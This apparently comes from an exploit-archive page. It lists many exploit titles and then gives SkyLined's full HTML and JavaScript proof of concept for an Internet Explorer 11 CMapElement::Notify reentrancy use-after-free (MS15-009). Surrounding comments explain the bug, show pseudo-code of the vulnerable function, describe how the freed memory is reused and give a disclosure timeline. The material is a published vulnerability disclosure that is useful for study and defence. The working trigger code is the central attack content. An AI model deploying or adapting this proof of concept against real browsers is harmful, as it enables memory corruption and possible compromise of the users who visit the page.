
5 new exploits MyServer 0.8.11 - (204 No Content) error Remote Denial of Service MyServer 0.8.11 - '204 No Content' error Remote Denial of Service Microsoft Internet Explorer 11 MSHTML - CMapElement::Notify Use-After-Free (MS15-009) Microsoft Internet Explorer 9-11 MSHTML - PROPERTYDESC::HandleStyleComponentProperty Out-of-Bounds Read (MS16-104) Microsoft Internet Explorer 9<11 MSHTML - PROPERTYDESC::HandleStyleComponentProperty Out-of-Bounds Read (MS16-104) MySQL 4.0.17 - UDF Dynamic Library Exploit MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library Exploit (1) MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Privilege Escalation MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library Exploit (2) Solaris 8 / 9 - (/usr/ucb/ps) Local Information Leak Exploit Solaris 8 / 9 - '/usr/ucb/ps' Local Information Leak Exploit Solaris 10 (libnspr) - Arbitrary File Creation Privilege Escalation Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1) Solaris 10 (libnspr) - LD_PRELOAD Arbitrary File Creation Privilege Escalation Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2) Solaris 10 (libnspr) - Constructor Privilege Escalation Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3) IBM AIX 5.6/6.1 - _LIB_INIT_DBG Arbitrary File Overwrite via Libc Debug IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug Apple MacOS 10.12 - 'task_t' Privilege Escalation Apple macOS 10.12 - 'task_t' Privilege Escalation Linux Kernel 2.6.x < 2.6.7-rc3 - 'sys_chown()' Privilege Escalation Solaris 8/9 ps - Environment Variable Information Leak Solaris 7/8/9 CDE libDtHelp - Buffer Overflow dtprintinfo Privilege Escalation Solaris 7/8/9 CDE libDtHelp - Buffer Overflow Non-Exec Stack Privilege Escalation Solaris 8/9 passwd(1) - 'circ()' Stack-Based Buffer Overflow Privilege Escalation Linux Kernel 4.4 (Ubuntu 16.04) - BPF Local Privilege Escalation (Metasploit) Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - /bin/login Buffer Overflow Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Buffer Overflow Oracle 9i / 10g (extproc) - Local+Remote Command Execution Oracle 9i / 10g (extproc) - Local / Remote Command Execution Solaris/SPARC 2.5.1/2.6/7/8 - Derived 'login' Buffer Overflow Microsoft Internet Explorer 8-11_ IIS_ CScript.exe/WScript.exe VBScript - CRegExp..Execute Use of Uninitialized Memory (MS14-080/MS14-084) Microsoft Internet Explorer 8<11_ IIS_ CScript.exe/WScript.exe VBScript - CRegExp..Execute Use of Uninitialized Memory (MS14-080/MS14-084) Disk Pulse Enterprise - Login Buffer Overflow' (Metasploit) MiniNuke 1.8.2 - (news.asp hid) SQL Injection MiniNuke 1.8.2 - 'hid' Parameter SQL Injection MiniNuke 1.8.2b - (pages.asp) SQL Injection MiniNuke 1.8.2b - 'pages.asp' SQL Injection MiniNuke 2.x - (create an admin) SQL Injection MiniNuke 2.x - SQL Injection (Add Admin) Nukedit CMS 4.9.6 - Unauthorized Admin Add Exploit Nukedit CMS 4.9.6 - Unauthorized Admin Add Portail Web PHP 2.5.1 - (includes.php) Remote File Inclusion Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion CodeBreak 1.1.2 - (codebreak.php) Remote File Inclusion Mambo Module Weather - 'absolute_path' Remote File Inclusion CodeBreak 1.1.2 - 'codebreak.php' Remote File Inclusion Mambo Module Weather - 'absolute_path' Parameter Remote File Inclusion mxBB Module MX Shotcast 1.0 RC2 - (getinfo1.php) Remote File Inclusion mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion RicarGBooK 1.2.1 - (header.php lang) Local File Inclusion RicarGBooK 1.2.1 - 'lang' Parameter Local File Inclusion BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection BlogPHP 2 - 'id' Parameter Cross-Site Scripting / SQL Injection MultiCart 2.0 - (productdetails.php) SQL Injection PHP-Nuke Modules Manuales 0.1 - 'cid' SQL Injection PHP-Nuke Module Siir - 'id' SQL Injection MultiCart 2.0 - 'productdetails.php' SQL Injection PHP-Nuke Modules Manuales 0.1 - 'cid' Parameter SQL Injection PHP-Nuke Module Siir - 'id' Parameter SQL Injection OSSIM 0.9.9rc5 - (Cross-Site Scripting / SQL Injection) Multiple Vulnerabilities PHP-Nuke Module NukeC 2.1 - (id_catg) SQL Injection OSSIM 0.9.9rc5 - Cross-Site Scripting / SQL Injection PHP-Nuke Module NukeC 2.1 - 'id_catg' Parameter SQL Injection PHPProfiles 4.5.2 Beta - (body_comm.inc.php) Remote File Inclusion PHPProfiles 4.5.2 Beta - 'body_comm.inc.php' Remote File Inclusion PHPUserBase 1.3b - (unverified.inc.php) Local File Inclusion PHPUserBase 1.3b - (unverified.inc.php) Remote File Inclusion PHPUserBase 1.3b - 'unverified.inc.php' Local File Inclusion PHPUserBase 1.3b - 'unverified.inc.php' Remote File Inclusion PHP-Nuke Module Kose_Yazilari - (artid) SQL Injection MiniNuke 2.1 - (members.asp uid) SQL Injection PHP-Nuke Module Kose_Yazilari - 'artid' Parameter SQL Injection MiniNuke 2.1 - 'uid' Parameter SQL Injection Nukedit 4.9.x - Remote Create Admin Exploit WordPress Plugin Sniplets 1.1.2 - (Remote File Inclusion / Cross-Site Scripting / Remote Code Execution) Multiple Vulnerabilities Mambo Component SimpleBoard 1.0.3 - 'catid' SQL Injection Nukedit 4.9.x - Remote Create Admin WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution Mambo Component SimpleBoard 1.0.3 - 'catid' Parameter SQL Injection GROUP-E 1.6.41 - (head_auth.php) Remote File Inclusion Koobi Pro 5.7 - (categ) SQL Injection GROUP-E 1.6.41 - 'head_auth.php' Remote File Inclusion Dream4 Koobi Pro 5.7 - 'categ' Parameter SQL Injection barryvan compo manager 0.5pre-1 - Remote File Inclusion PHP-Nuke My_eGallery 2.7.9 - SQL Injection Centreon 1.4.2.3 - (get_image.php) Remote File Disclosure Koobi CMS 4.3.0 < 4.2.3 - (categ) SQL Injection Barryvan Compo Manager 0.3 - Remote File Inclusion PHP-Nuke Module My_eGallery 2.7.9 - SQL Injection Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure Dream4 Koobi CMS 4.3.0 < 4.2.3 - 'categ' Parameter SQL Injection Koobi Pro 6.25 - links SQL Injection Koobi Pro 6.25 - shop SQL Injection Koobi Pro 6.25 - gallery SQL Injection Koobi Pro 6.25 - showimages SQL Injection Koobi 4.4/5.4 - gallery SQL Injection Dream4 Koobi Pro 6.25 Links - 'categ' Parameter SQL Injection Dream4 Koobi Pro 6.25 Shop - 'categ' Parameter SQL Injection Dream4 Koobi Pro 6.25 Gallery - 'galid' Parameter SQL Injection Dream4 Koobi Pro 6.25 Showimages - 'galid' Parameter SQL Injection Dream4 Koobi 4.4/5.4 - gallery SQL Injection Koobi CMS 4.2.4/4.2.5/4.3.0 - Multiple SQL Injections Koobi Pro 6.25 - poll SQL Injection Dream4 Koobi CMS 4.2.4/4.2.5/4.3.0 - Multiple SQL Injections Dream4 Koobi Pro 6.25 Poll - 'poll_id' Parameter SQL Injection Podcast Generator 1.2 - GLOBALS[] Multiple Vulnerabilities Podcast Generator 1.2 - 'GLOBALS[]' Multiple Vulnerabilities DBHCMS Web Content Management System 1.1.4 - Remote File Inclusion DBHcms 1.1.4 - Remote File Inclusion Koobi Pro 6.1 - Gallery (img_id) Dream4 Koobi Pro 6.1 Gallery - 'img_id' Parameter SQL Injection dbhcms 1.1.4 - Persistent Cross-Site Scripting DBHcms 1.1.4 - Persistent Cross-Site Scripting DBHcms 1.1.4 (dbhcms_user and SearchString) - SQL Injection DBHcms 1.1.4 - 'dbhcms_user/SearchString' Parameter SQL Injection podcast generator 1.3 - Multiple Vulnerabilities Podcast Generator 1.3 - Multiple Vulnerabilities PHP Download Manager 1.1.x - files.php SQL Injection PHP Download Manager 1.1.x - 'files.php' SQL Injection Koobi 5.0 - BBCode URL Tag Script Injection Dream4 Koobi 5.0 - BBCode URL Tag Script Injection Koobi Pro 5.6 - showtopic Module toid Parameter Cross-Site Scripting Koobi Pro 5.6 - showtopic Module toid Parameter SQL Injection Dream4 Koobi Pro 5.6 - 'showtopic' Parameter SQL Injection Portail Web PHP 2.5.1 - config/conf-activation.php site_path Parameter Remote File Inclusion Portail Web PHP 2.5.1 - menu/item.php site_path Parameter Remote File Inclusion Portail Web PHP 2.5.1 - modules/conf_modules.php site_path Parameter Remote File Inclusion Portail Web PHP 2.5.1 - system/login.php site_path Parameter Remote File Inclusion Portail Web PHP 2.5.1 - 'conf-activation.php' Remote File Inclusion Portail Web PHP 2.5.1 - 'item.php' Remote File Inclusion Portail Web PHP 2.5.1 - 'conf_modules.php' Remote File Inclusion Portail Web PHP 2.5.1 - 'login.php' Remote File Inclusion Podcast Generator 0.96.2 - 'set_permissions.php' Cross-Site Scripting Barryvan Compo Manager 0.3 - 'main.php' Remote File Inclusion Centreon 1.4.2 - color_picker.php Multiple Cross-Site Scripting Vulnerabilities DrBenHur.com DBHcms 1.1.4 - 'dbhcms_core_dir' Parameter Remote File Inclusion DBHcms 1.1.4 - 'dbhcms_core_dir' Parameter Remote File Inclusion Boonex Dolphin 7.3.2 - Authentication Bypass / Remote Code Execution
165 lines
No EOL
11 KiB
HTML
Executable file
165 lines
No EOL
11 KiB
HTML
Executable file
<!--
|
||
Source: http://blog.skylined.nl/20161114001.html
|
||
|
||
Synopsis
|
||
|
||
A specially crafted web-page can cause MSIE 11 to interrupt the handling of one readystatechange event with another. This interrupts a call to one of the various C<ElementName>Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMapElement object, a reference to that object can be stored in a linked list and the object itself can be freed. This pointer can later be re-used to cause a classic use-after-free issue.
|
||
|
||
Known affected versions, attack vectors and mitigations
|
||
|
||
Microsoft Internet Explorer 11
|
||
|
||
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
|
||
|
||
Description
|
||
|
||
When a DocumentFragment containing an applet element is added to the DOM, all elements receive a notification that they are removed from the CMarkup. Next, they are added to the DOM and receive notification of being added to another CMarkup. When the applet is added, a CObjectElement is created and added to the CMarkup. This causes a readystatechange event to fire, which interrupts the current code. During this readystatechange event, the DOM may be modified, which causes further notifications to fire. However, elements in the DocumentFragment that come after the applet element have already received a notification that they have been remove from one CMarkup, but not that they have been added to the new one. Thus, these elements may receive another notification of removal, followed by two notifications of being added to a CMarkup.
|
||
-->
|
||
|
||
<?xml version="1.0"?>
|
||
<!DOCTYPE x PUBLIC "x" "x">
|
||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||
<script type="text/javascript">
|
||
<![CDATA[
|
||
// This PoC attempts to exploit a renetrancy issue in Microsoft Internet
|
||
// Explorer to trigger a use-after-free.
|
||
// See http://blog.skylined.nl/20161114001.html for details.
|
||
var oDocElem = document.documentElement;
|
||
var oContainer, oMap1, oMap2, uEventCounter = 0;
|
||
// A C CMarkup object can have a pointer to a C CDoc object. This C
|
||
// CDoc object has a singly linked list of CMapElements added to the
|
||
// DOM, starting at offset 8 (See MSHTML!CMarkup::GetMapHead) of the CDoc
|
||
// and continuing through offset 38 of the CMapElement.
|
||
// CDoc[8] -> CMapElement[38]#1 -> CMapElement[38]#2 -> etc... -> NULL
|
||
// When CMapElement::Notify is called to add a Map element to the DOM,
|
||
// code 0x17, the CMapElement is inserted at the start of this list.
|
||
// When CMapElement::Notify is called to remove a Map element from the
|
||
// DOM, code 0x18, the linked list is followed to find the CMapElement and
|
||
// remove if from the list when found.
|
||
// When CMapElement::Notify is called twice to add the same element to the
|
||
// DOM, a loop is created, rather than the CMapElement ending up in the
|
||
// list twice.
|
||
// When CMapElement::Notify is called twice to remove the same element
|
||
// from the DOM, nothing happens the second time.
|
||
function onReadyStateChangeCallback(){
|
||
var uEventId = ++uEventCounter;
|
||
if (uEventId == 1) {
|
||
// Create a "container" DOM element with three children:
|
||
// map, applet, map.
|
||
oContainer = document.createElement("oContainer");
|
||
oMap1 = oContainer.appendChild(document.createElement("map"));
|
||
oContainer.appendChild(document.createElement("applet"));
|
||
oMap2 = oContainer.appendChild(document.createElement("map"));
|
||
// Add the container DOM element to the DOM document. While adding the
|
||
// applet DOM object to the DOM document a new C "CObjectElement" is
|
||
// created and added to the C CMarkup (which is roughly the equivalent
|
||
// of a DOM DocumentFragment AFAICT). This triggers a new
|
||
// readystatechange event that interrupts the current one.
|
||
oDocElem.appendChild(oContainer);
|
||
// The interrupting readystatechange event is fired after the oMap2
|
||
// C CMapElement::Notify method has been call to notify that the
|
||
// object is being removed from one DocumentFragement, but before it
|
||
// is notified that it is being added to another.
|
||
// List#1 -> CMapElement#1 -> NULL
|
||
} else if (uEventId == 2) {
|
||
oContainer.removeNode(true);
|
||
// Removing the container from the document causes another round of
|
||
// calls to ::Notify for remove and add. The last call to oMap2 was
|
||
// to inform it that it was removed from a C CMarkup. It is now
|
||
// getting another such call. This is unexpected, but the code does
|
||
// not detect it. Next, it is added to a new list.
|
||
// List#2 -> NULL
|
||
// List#2 -> CMapElement#2 -> CMapElement#1 -> NULL
|
||
}
|
||
if (uEventId == 1) {
|
||
// Now, the delayed C CMapElement::Notify method to add the object
|
||
// to the DOM is called. The CMapElement is added to the same list
|
||
// again, causing a loop.
|
||
// List#2 -> CMapElement#2 -> CMapElement#2 -> loop.
|
||
// Finally, we remove the CMapElement from the DOM and destroy all
|
||
// references we have to it. This causes another round of calls to
|
||
// ::Notify for remove and add, only the remove is important, as
|
||
// it fails to remove the CMapElement from the list because it
|
||
// contains a loop.
|
||
oMap2.removeNode();
|
||
oMap2 = null;
|
||
// List#2 -> CMapElement#2 -> CMapElement#2 -> loop.
|
||
// As far as MSIE is concerned, all references to oMap2 have now been
|
||
// destroyed, and the element is allowed to get freed. We need to
|
||
// trick the new MemoryProtect code into actually releasing it. For
|
||
// this, we need to interrupt JavaScript execution first, which is
|
||
// done by setting a timeout.
|
||
setTimeout(function () {
|
||
// Now the MemoryProtect code will allow the CMapElement to be
|
||
// freed. However, it only does so when enough memory has been
|
||
// scheduled to be freed (100000 bytes). This can easily be forced
|
||
// by creating and discarding a bunch of element. The video element
|
||
// causes MSIE to allocate 0x190 bytes of memory.
|
||
var uElementsCount = Math.ceil(100000 / 0x190);
|
||
for (var i = 0; i < uElementsCount; i++) {
|
||
document.createElement("video");
|
||
CollectGarbage();
|
||
}
|
||
// Now the CMapElement is finally freed.
|
||
// The list originally contained a reference to CMapElement#1.
|
||
// When the code tries to remove this, it will follow the linked
|
||
// list and access the freed CMapElement#2 memory.
|
||
oMap1.removeNode();
|
||
alert("FAIL");
|
||
}, 0);
|
||
}
|
||
}
|
||
document.addEventListener("readystatechange", onReadyStateChangeCallback, false);
|
||
// This work by SkyLined is licensed under a Creative Commons
|
||
// Attribution-Non-Commercial 4.0 International License.
|
||
]]>
|
||
</script>
|
||
</html>
|
||
|
||
<!--
|
||
AFAICT, this event-within-an-event itself is the root cause of the bug and allows memory corruption in various ways. I discovered the issue because the code in CMapElement::Notify does not handle this sequence of events well. The below pseudo-code represents that function and shows how this can lead to memory corruption:
|
||
|
||
void MSHTML!CMapElement::Notify(CNotification* pNotification) {
|
||
CElement::Notify(pArg1);
|
||
|
||
if (pNotification->dwCode_00 == 17) { // add
|
||
CMarkup* pMarkup = this->CElement::GetMarkup();
|
||
this->pNextMapElement_38 = pMarkup->GetMapHead();
|
||
pMarkup->CMarkup::SetMapHead(this);
|
||
} else if (pNotification->dwCode_00 == 18) { // remove
|
||
CMarkup* pMarkup = this->CElement::GetMarkup();
|
||
CDoc pDoc = pMarkup->CMarkup::GetLookasidePtr(4);
|
||
CMapElement** ppMapElement = &(pDoc->pMapElement_08);
|
||
while(*ppMapElement) {
|
||
if (*ppMapElement == this) {
|
||
*ppMapElement = this->pMapElement_38;
|
||
break;
|
||
}
|
||
ppMapElement = &(*ppMapElement->pMapElement_38);
|
||
}
|
||
}
|
||
}
|
||
|
||
This code maintains a singly linked list of map elements that have been added to the document. An object should never be added to this list twice, as this will cause a loop in the list (a map element pointing to itself as the next in the list). However, the event-within-an-event can be used to first cause two consecutive calls to remove the same element from this list followed by two calls to add the same element to the list. This results in the following sequence of events:
|
||
|
||
The first call to remove the element will remove it from the list.
|
||
The second call to remove the element will do nothing.
|
||
The first call to add the element will add it to the list.
|
||
The second call to add the element will try to add it to the list again, causing the list to contain a loop. This list is now corrupt.
|
||
|
||
At this point, an attacker can remove the CMapElement, causing the code to try to remove it from the list and free it. However, because of the loop in the list, the above code will not actually remove it from the list. After this, the pointer in the list points to freed memory.
|
||
|
||
Exploit
|
||
|
||
I focused on the CMapElement::Notify code and was able to reuse the freed memory originally used for the CMapElement with another object of similar size (eg. a CParamElement, which may be extra useful as it will store a pointer to its parent CObjectElement at offset 38). However, I could not think of a way to use the CMapElement::Notify code to do anything useful at that point. I could also not immediately find any other code that uses this linked list, which is a bit odd: why would MSIE keep a linked list and not use it? I suspect there must be other code that uses it, and that this code may allow exploitation of this vulnerability.
|
||
|
||
Aside from the use-after-free bug that exists for CMapElement objects above, there may be many other issues for other types of objects, as there are many different C<ElenentName>Element::Notify implementations for the various elements. It is assumes that none of these were designed to be reentrant. Unfortunately, I did not have time to exhaustively reverse engineer their code to look for other code paths that might be exploitable. As a result I am unable to prove exploitability beyond reasonable doubt.
|
||
|
||
Time-line
|
||
|
||
September 2014: This vulnerability was found through fuzzing.
|
||
September 2014: This vulnerability was submitted to ZDI.
|
||
September 2014: This vulnerability was acquired by ZDI.
|
||
February 2015: Microsoft address this issue in MS15-009.
|
||
November 2016: Details of this issue are released.
|
||
--> |